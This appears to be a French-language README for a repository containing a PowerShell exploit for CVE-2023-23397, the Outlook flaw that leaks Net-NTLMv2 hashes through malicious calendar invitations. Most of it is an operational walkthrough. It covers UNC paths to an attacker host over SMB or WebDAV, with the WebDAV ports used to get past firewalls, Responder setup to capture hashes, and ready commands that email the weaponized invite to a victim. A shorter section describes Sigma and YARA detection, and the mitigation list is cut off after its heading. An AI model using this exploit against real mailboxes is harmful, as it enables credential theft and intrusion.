
Exploit pour CVE-2023-23397 fuite de hachage NTLM d'Outlook via des invitations de calendrier malveillantes. Comprend armement PowerShell, intégration de Responder, et des règles de détection pour la réponse aux incidents.
Pour exploiter cette vulnérabilité, un attaquant doit créer une invitation de calendrier malveillante qui inclut une référence à un fichier sonore pointant vers un fichier situé sur un partage réseau de la machine de l'attaquant. À un niveau bas, un e-mail Outlook stocke la référence au fichier sonore dans un paramètre interne appelé "PidLidReminderFileParameter". Pour s'assurer que l'audio que nous intégrons dans notre e-mail malveillant prenne le pas sur les configurations de rappel par défaut de la victime, nous devrons également définir un autre paramètre appelé "PidLidReminderOverride" sur true.
Pour définir la propriété "PidLidReminderFileParameter" afin qu'elle pointe vers un partage réseau, l'attaquant peut spécifier un chemin UNC (Universal Naming Convention) au lieu d'un fichier local. UNC est utilisé dans les systèmes d'exploitation Windows pour trouver des ressources réseau (fichiers, imprimantes, documents partagés). Ces chemins sont composés d'une double barre oblique inverse, de l'adresse IP ou du nom de l'ordinateur hébergeant la ressource, du nom du partage et du nom du fichier. Par exemple : \ATTACKER_IP\foo\bar.wav
Lorsque la victime reçoit l'e-mail malveillant, le chemin UNC la dirige vers ce partage SMB, déclenchant la vulnérabilité. Cela provoque le démarrage d'un processus d'authentification NTLM contre la machine de l'attaquant, divulguant un hachage Net-NTLMv2 que l'attaquant pourra ensuite tenter de casser. Si, pour une raison quelconque, le protocole SMB n'est pas une alternative viable, les versions non-serveur de Windows accepteront d'utiliser des chemins UNC pointant vers les ports 80 ou 443, et utiliseront HTTP pour récupérer le fichier depuis un serveur web compatible WebDAV. La syntaxe d'un tel chemin UNC est la suivante :
\ATTACKER_IP@80\foo\bar.wav OU \ATTACKER_IP@443\foo\bar.wav
Cela peut être utile pour contourner les restrictions de pare-feu empêchant les connexions sortantes vers le port 445 (SMB).
Phase d'attaque Confectionnons un e-mail malveillant contenant un rendez-vous avec les paramètres requis pour le déclencher.
Configuration de Responder : Comme nous nous attendons à ce que la victime déclenche une tentative d'authentification contre l'attaquant sur le port 445, nous allons configurer Responder pour gérer le processus d'authentification et capturer le hachage NetNTLM pour nous. Si vous n'êtes pas familier avec Responder, il émule simplement un serveur SMB et capture toute tentative d'authentification à son encontre. responder -I
Tentative de création manuelle d'un rendez-vous malveillant :
OutlookSpy : Même si Outlook ne peut pas définir le fichier sonore du rappel sur un chemin UNC, nous pouvons utiliser le plugin OutlookSpy pour y parvenir. Ce plugin vous permet d'accéder directement à tous les paramètres internes d'Outlook, y compris le fichier sonore du rappel. Vous devrez l'installer manuellement avant de continuer. Assurez-vous de fermer Outlook avant d'exécuter l'installateur.
Nous pouvons utiliser l'onglet Script et le script suivant pour modifier les paramètres aux valeurs requises : AppointmentItem.ReminderOverrideDefault = true AppointmentItem.ReminderPlaySound = true AppointmentItem.ReminderSoundFile = "\<adresse IP de l'attaquant><dossier_partagé>\file.wav"
Assurez-vous de cliquer sur le bouton "Run" pour appliquer les modifications. Vous pouvez retourner dans l'onglet "Properties" pour vérifier que les valeurs ont été correctement modifiées. Enfin, enregistrez votre rendez-vous pour l'ajouter à votre calendrier, en vous assurant que le rappel est réglé sur "0 minutes" et que le rendez-vous correspond à la date et à l'heure actuelles, car nous voulons qu'il se déclenche immédiatement.
Si tout se passe comme prévu, vous devriez voir immédiatement un rappel apparaître. Et vous devriez recevoir la tentative d'authentification dans votre console Responder sur la machine de l'attaquant.
Armement En résumé, les étapes nécessaires pour exploiter la vulnérabilité par un attaquant sont les suivantes :
Les étapes 3 et 4 sont déjà prises en charge par Responder, mais créer manuellement le rendez-vous malveillant à la main est un peu fastidieux. Heureusement, quelques exploits sont facilement disponibles pour créer et envoyer un rendez-vous malveillant, dont l'un est fourni dans ce dépôt.
Cet exploit PowerShell exploite les objets COM d'Outlook pour construire facilement des e-mails et des rendez-vous. Il contient quelques fonctions que nous pouvons utiliser : Save-CalendarNTLMLeak : Cette fonction crée un rendez-vous malveillant et l'enregistre dans votre propre calendrier. Utile à des fins de test. Send-CalendarNTLMLeak : Cette fonction crée un rendez-vous malveillant et l'envoie par e-mail à une victime. L'invitation par e-mail sera envoyée depuis le compte par défaut actuel de votre Outlook.
Utilisation de l'exploit : Dans PowerShell, vous pouvez importer les fonctions de l'exploit avec l'applet de commande "Import-Module". Ensuite, les deux fonctions seront disponibles dans votre session PowerShell actuelle. Pour envoyer un e-mail avec un rendez-vous malveillant, vous pouvez simplement exécuter la commande suivante :
PS C:\Users\User\Desktop> Import-Module .\CVE-2023-23397.ps1 PS C:\Users\User\Desktop> Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\ATTACKER_IP\foo\bar.wav" -meetingsubject "Random Meeting" -meetingbody "This is just a regular meeting invitation."
Étant donné que l'exploit utilise l'instance Outlook actuelle pour envoyer l'e-mail, vous obtiendrez probablement quelques alertes vous demandant d'autoriser le script à envoyer des e-mails en votre nom. Assurez-vous d'appuyer sur Autoriser autant de fois que nécessaire. Cocher la case "Autoriser l'accès pendant 10 minutes" peut également accélérer ce processus.
Détection et Atténuation
Détection : Maintenant que nous avons parcouru les étapes pour armer l'attaque CVE-2023-23397 sur Outlook, parlons de quelques moyens de détecter cette attaque au sein du réseau. Chaque attaque laisse des motifs ou des artefacts qui pourraient aider l'équipe de détection à identifier les menaces. Tout dépend de la visibilité du réseau et des sources de journaux collectées, qui fournissent la visibilité si importante.
Règles Sigma : La règle Sigma jointe détecte Outlook initiant une connexion vers un partage WebDav ou SMB, indiquant une phase de post-exploitation. Cette règle Sigma vise à détecter "svchost.exe" engendrant "rundll32.exe" avec des arguments de commande comme C:\windows\system32\davclnt.dll,DavSetCookie, ce qui indique une phase de post-exploitation/exfiltration. Ces règles SIGMA peuvent être converties dans l'outil de détection et de surveillance pour rechercher une activité de journal suspecte dans le réseau.
Règle YARA : La règle YARA recherche le motif dans les fichiers sur le disque. Les règles YARA communautaires jointes peuvent être utilisées pour détecter les fichiers MSG suspects sur le disque avec les deux propriétés discutées dans les tâches ci-dessus.
Microsoft a publié un script PowerShell "CVE-2023-23397.ps1" qui vérifiera les éléments de messagerie Exchange comme les e-mails, le calendrier et les tâches pour voir si les IOCs liés à l'attaque CVE-2023-23397 sont trouvés. Le script peut être utilisé pour auditer et nettoyer les éléments détectés.
Atténuation : Cette vulnérabilité est exploitée de manière intensive dans la nature. Voici quelques-unes des étapes recommandées par Microsoft pour atténuer et éviter cette attaque :